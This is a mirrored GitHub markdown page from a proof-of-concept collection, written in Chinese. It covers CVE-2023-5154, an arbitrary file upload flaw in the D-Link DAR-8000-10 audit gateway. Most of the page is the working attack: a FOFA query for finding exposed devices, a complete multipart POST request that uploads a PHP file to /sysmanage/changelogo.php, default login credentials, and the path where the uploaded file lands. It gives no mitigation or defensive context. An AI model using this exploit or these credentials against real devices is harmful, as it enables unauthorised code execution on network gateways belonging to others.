mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-08-12 19:16:12 +00:00
46 lines
1.3 KiB
Markdown
46 lines
1.3 KiB
Markdown
|
## D-Link_DAR-8000-10上网行为审计网关任意文件上传漏洞(CVE-2023-5154)
|
||
|
|
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
body="DAR-8000-10" && title="D-Link"
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
POST /sysmanage/changelogo.php HTTP/1.1
|
||
|
|
Host:
|
||
|
|
Cookie: PHPSESSID={登陆获取}
|
||
|
|
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
|
||
|
|
Accept-Language: zh-CN
|
||
|
|
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.32.3 (KHTML, like Gecko) Version/4.1 Safari/531.32.3
|
||
|
|
Content-Type: multipart/form-data; boundary=---------------------------7e62f02f51878
|
||
|
|
Accept-Encoding: gzip, deflate
|
||
|
|
Content-Length: 326
|
||
|
|
Cache-Control: no-cache
|
||
|
|
Connection: close
|
||
|
|
|
||
|
|
-----------------------------7e62f02f51878
|
||
|
|
Content-Disposition: form-data; name="file_upload"; filename="phpinfo.php"
|
||
|
|
Content-Type: application/octet-stream
|
||
|
|
|
||
|
|
<?php phpinfo()?>
|
||
|
|
-----------------------------7e62f02f51878
|
||
|
|
Content-Disposition: form-data; name="mode"
|
||
|
|
|
||
|
|
upload
|
||
|
|
-----------------------------7e62f02f51878--
|
||
|
|
```
|
||
|
|
|
||
|
|
需要登录
|
||
|
|
```
|
||
|
|
test/admin@123
|
||
|
|
admin/admin
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
文件路径：
|
||
|
|
`/boot/web/upload/diylogo/phpinfo.php`
|